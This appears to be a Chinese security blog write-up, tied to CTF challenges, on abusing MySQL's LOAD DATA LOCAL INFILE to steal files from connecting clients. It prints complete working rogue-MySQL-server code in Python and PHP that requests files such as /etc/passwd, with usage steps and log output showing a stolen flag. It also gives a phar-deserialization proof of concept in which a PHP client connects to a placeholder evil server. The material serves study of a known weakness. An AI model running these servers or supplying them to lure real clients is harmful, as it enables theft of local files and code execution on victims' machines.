DDCTF中出现过,其他比赛已经记不清了,主要是分析利用mysql中Load data infile这个命令交互过程的一部分

Load data infile

LOAD DATA INFILE语句以非常高的效率从文本文件中读取行并插入到表中。导入的文件名必须以字符串格式给定,一般我们常用的语句是这样的:

1
load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

mysql server会读取服务端的/etc/passwd然后将数据按照’\n’分割插入表中,但现在这个语句同样要求你有FILE权限,以及非local加载的语句也受到secure_file_priv的限制

1
2
3
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

如果我们修改一下语句,加入一个关键字local。

1
2
3
mysql> load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
Query OK, 11 rows affected, 11 warnings (0.01 sec)
Records: 11 Deleted: 0 Skipped: 0 Warnings: 11

加了local之后,这个语句就成了,读取客户端的文件发送到服务端,上面那个语句执行结果如下

很显然,这个语句是不安全的,在mysql的文档里也充分说明了这一点

https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html

在mysql文档中的说到,服务端可以要求客户端读取有可读权限的任何文件。

mysql认为客户端不应该连接到不可信的服务端。

MySql Load Data Infile 过程分析

打开mysql服务器, wireshark抓包分析

先创建一个文件 root/tete,内容为asdasd

执行LDI语句

1
2
3
4
5
6
7
8
9
10
11
12
13
MariaDB [test]> select * from LDI;
+---------+
| content |
+---------+
| asdasd |
| asdasd |
| asdasd |
+---------+
3 rows in set (0.007 sec)

MariaDB [test]> load data local infile "/root/tete" into table LDI FIELDS TERMINATED BY '\n';
Query OK, 1 row affected (0.002 sec)
Records: 1 Deleted: 0 Skipped: 0 Warnings: 0

这个语句主要流程如下

  1. 客户端请求将本地/root/tete插入到表LDI

image-20200219023241505

  1. 服务端返回客户端需要的文件路径root/tete

image-20200219023355282

  1. 客户端返回文件内容给服务器

image-20200219023812658

  • 原本的查询流程为
1
2
3
客户端:我要把win.ini插入test表中
服务端:我要你的win.ini内容
客户端:win.ini的内容如下....
  • 假设服务端由我们控制,把一个正常的流程篡改成如下
1
2
3
客户端:我要test表中的数据
服务端:我要你的win.ini内容
客户端:win.ini的内容如下???

在greeting包之后,客户端就会链接并试图登录,同时数据包中就有关于是否允许使用load data local的配置,可以从这里直白的看出来客户端是否存在这个问题(这里返回的客户端配置不一定是准确的,后面会提到这个问题)。在mysql登录验证的过程中,会发送客户端的配置。

image-20200219061055022

恶意服务器构造

  1. 回复mysql client一个greeting包
  2. 等待client端发送一个查询包
  3. 回复一个file transfer包

python版代码rogue_mysql_server.py :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
#!/usr/bin/env python
#coding: utf8


import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers



PORT = 3306

log = logging.getLogger(__name__)

log.setLevel(logging.INFO)
tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
tmp_format
)

filelist = (
#'/etc/passwd',
'D:/test',
)


#================================================
#=======No need to change after this lines=======
#================================================

__author__ = 'Gifts'

def daemonize():
import os, warnings
if os.name != 'posix':
warnings.warn('Cant create daemon on non-posix system')
return

if os.fork(): os._exit(0)
os.setsid()
if os.fork(): os._exit(0)
os.umask(0o022)
null=os.open('/dev/null', os.O_RDWR)
for i in xrange(3):
try:
os.dup2(null, i)
except OSError as e:
if e.errno != 9: raise
os.close(null)


class LastPacket(Exception):
pass


class OutOfOrder(Exception):
pass


class mysql_packet(object):
packet_header = struct.Struct('<Hbb')
packet_header_long = struct.Struct('<Hbbb')
def __init__(self, packet_type, payload):
if isinstance(packet_type, mysql_packet):
self.packet_num = packet_type.packet_num + 1
else:
self.packet_num = packet_type
self.payload = payload

def __str__(self):
payload_len = len(self.payload)
if payload_len < 65536:
header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
else:
header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)

result = "{0}{1}".format(
header,
self.payload
)
return result

def __repr__(self):
return repr(str(self))

@staticmethod
def parse(raw_data):
packet_num = ord(raw_data[0])
payload = raw_data[1:]

return mysql_packet(packet_num, payload)


class http_request_handler(asynchat.async_chat):

def __init__(self, addr):
asynchat.async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'Auth'
self.logined = False
self.push(
mysql_packet(
0,
"".join((
'\x0a', # Protocol
'5.6.28-0ubuntu0.14.04.1' + '\0',
'\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
)) )
)

self.order = 1
self.states = ['LOGIN', 'CAPS', 'ANY']

def push(self, data):
log.debug('Pushed: %r', data)
data = str(data)
asynchat.async_chat.push(self, data)

def collect_incoming_data(self, data):
log.debug('Data recved: %r', data)
self.ibuffer.append(data)

def found_terminator(self):
data = "".join(self.ibuffer)
self.ibuffer = []

if self.state == 'LEN':
len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
if len_bytes < 65536:
self.set_terminator(len_bytes)
self.state = 'Data'
else:
self.state = 'MoreLength'
elif self.state == 'MoreLength':
if data[0] != '\0':
self.push(None)
self.close_when_done()
else:
self.state = 'Data'
elif self.state == 'Data':
packet = mysql_packet.parse(data)
try:
if self.order != packet.packet_num:
raise OutOfOrder()
else:
# Fix ?
self.order = packet.packet_num + 2
if packet.packet_num == 0:
if packet.payload[0] == '\x03':
log.info('Query')

filename = random.choice(filelist)
PACKET = mysql_packet(
packet,
'\xFB{0}'.format(filename)
)
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'File'
self.push(PACKET)
elif packet.payload[0] == '\x1b':
log.info('SelectDB')
self.push(mysql_packet(
packet,
'\xfe\x00\x00\x02\x00'
))
raise LastPacket()
elif packet.payload[0] in '\x02':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
elif packet.payload == '\x00\x01':
self.push(None)
self.close_when_done()
else:
raise ValueError()
else:
if self.sub_state == 'File':
log.info('-- result')
log.info('Result: %r', data)

if len(data) == 1:
self.push(
mysql_packet(packet, '\0\0\0\x02\0\0\0')
)
raise LastPacket()
else:
self.set_terminator(3)
self.state = 'LEN'
self.order = packet.packet_num + 1

elif self.sub_state == 'Auth':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
else:
log.info('-- else')
raise ValueError('Unknown packet')
except LastPacket:
log.info('Last packet')
self.state = 'LEN'
self.sub_state = None
self.order = 0
self.set_terminator(3)
except OutOfOrder:
log.warning('Out of order')
self.push(None)
self.close_when_done()
else:
log.error('Unknown state')
self.push('None')
self.close_when_done()


class mysql_listener(asyncore.dispatcher):
def __init__(self, sock=None):
asyncore.dispatcher.__init__(self, sock)

if not sock:
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind(('', PORT))
except socket.error:
exit()

self.listen(5)

def handle_accept(self):
pair = self.accept()

if pair is not None:
log.info('Conn from: %r', pair[1])
tmp = http_request_handler(pair)


z = mysql_listener()
# daemonize()
asyncore.loop()

php版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
function unhex($str) { return pack("H*", preg_replace('#[^a-f0-9]+#si', '', $str)); }

$filename = "/etc/passwd";

$srv = stream_socket_server("tcp://0.0.0.0:3306");

while (true) {
echo "Enter filename to get [$filename] > ";
$newFilename = rtrim(fgets(STDIN), "\r\n");
if (!empty($newFilename)) {
$filename = $newFilename;
}

echo "[.] Waiting for connection on 0.0.0.0:3306\n";
$s = stream_socket_accept($srv, -1, $peer);
echo "[+] Connection from $peer - greet... ";
fwrite($s, unhex('45 00 00 00 0a 35 2e 31 2e 36 33 2d 30 75 62 75
6e 74 75 30 2e 31 30 2e 30 34 2e 31 00 26 00 00
00 7a 42 7a 60 51 56 3b 64 00 ff f7 08 02 00 00
00 00 00 00 00 00 00 00 00 00 00 00 64 4c 2f 44
47 77 43 2a 43 56 63 72 00 '));
fread($s, 8192);
echo "auth ok... ";
fwrite($s, unhex('07 00 00 02 00 00 00 02 00 00 00'));
fread($s, 8192);
echo "some shit ok... ";
fwrite($s, unhex('07 00 00 01 00 00 00 00 00 00 00'));
fread($s, 8192);
echo "want file... ";
fwrite($s, chr(strlen($filename) + 1) . "\x00\x00\x01\xFB" . $filename);
stream_socket_shutdown($s, STREAM_SHUT_WR);
echo "\n";

echo "[+] $filename from $peer:\n";

$len = fread($s, 4);
if(!empty($len)) {
list (, $len) = unpack("V", $len);
$len &= 0xffffff;
while ($len > 0) {
$chunk = fread($s, $len);
$len -= strlen($chunk);
echo $chunk;
}
}

echo "\n\n";
fclose($s);
}

使用操作流程

  1. python2 rogue_mysql_server.py
  2. 在同目录下tail -f mysql.log
  3. 客户机连接mysql -u root -p,执行一个查询,例如select 1

客户端连接成功后会自动执行select @@version_comment limit 1来获取详细版本信息(Source Distribution)

image-20200219083300470

  1. 看到mysql.log输出读到的文件内容
1
2
3
4
5
6
tail -f mysql.log
2020-02-19 21:11:56,136:INFO:Conn from: ('192.168.92.1', 65354)
2020-02-19 21:11:56,137:INFO:Last packet
2020-02-19 21:11:56,138:INFO:Query
2020-02-19 21:15:52,836:INFO:Result: '\x02flag{asdzxcqwsd}'
2020-02-19 21:15:52,836:INFO:-- result

php版本操作相同

读取本地文件触发反序列化

load data local file 反序列化

2018年BlackHat大会上的Sam Thomas分享的File Operation Induced Unserialization via the “phar://” Stream Wrapper议题,原文https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf

在该议题中提到,在PHP中存在一个叫做Stream API,通过注册拓展可以注册相应的伪协议,而phar这个拓展就注册了phar://这个stream wrapper。

知道创宇404实验室安全研究员seaii曾经的研究(https://paper.seebug.org/680/)中表示,所有的文件函数都支持stream wrapper。

深入到函数中,我们可以发现,可以支持steam wrapper的原因是调用了

1
stream = php_stream_open_wrapper_ex(filename, "rb" ....);

从这里,我们再回到mysql的load file local语句中,在mysqli中,mysql的读文件是通过php的函数实现的

1
2
3
4
5
6
7
8
9
10
11
https://github.com/php/php-src/blob/master/ext/mysqlnd/mysqlnd_loaddata.c#L43-L52

if (PG(open_basedir)) {
if (php_check_open_basedir_ex(filename, 0) == -1) {
strcpy(info->error_msg, "open_basedir restriction in effect. Unable to open file");
info->error_no = CR_UNKNOWN_ERROR;
DBG_RETURN(1);
}
}
info->filename = filename;
info->fd = php_stream_open_wrapper_ex((char *)filename, "r", 0, NULL, context);

也同样调用了php_stream_open_wrapper_ex函数,也就是说,我们同样可以通过读取phar文件来触发反序列化。

复现

首先需要一个生成一个phar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pphar.php

<?php
class A {
public $s = '';
public function __wakeup () {
echo "pwned!!";
}
}


@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a "."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new A();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

使用该文件生成一个phar.phar

然后我们模拟一次查询

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
test.php

<?php
class A {
public $s = '';
public function __wakeup () {
echo "pwned!!";
}
}


$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, '{evil_mysql_ip}', 'root', '123456', 'test', 3667);
$p = mysqli_query($m, 'select 1;');

// file_get_contents('phar://./phar.phar');

图中我们只做了select 1查询,但我们伪造的evil mysql server中驱使mysql client去做load file local查询,读取了本地的

1
phar://./phar.phar

成功触发反序列化

相关资料


Load Data Infile

Mysql Connection Phase Packets

COM_QUERY Response

Rogue-MySql-Server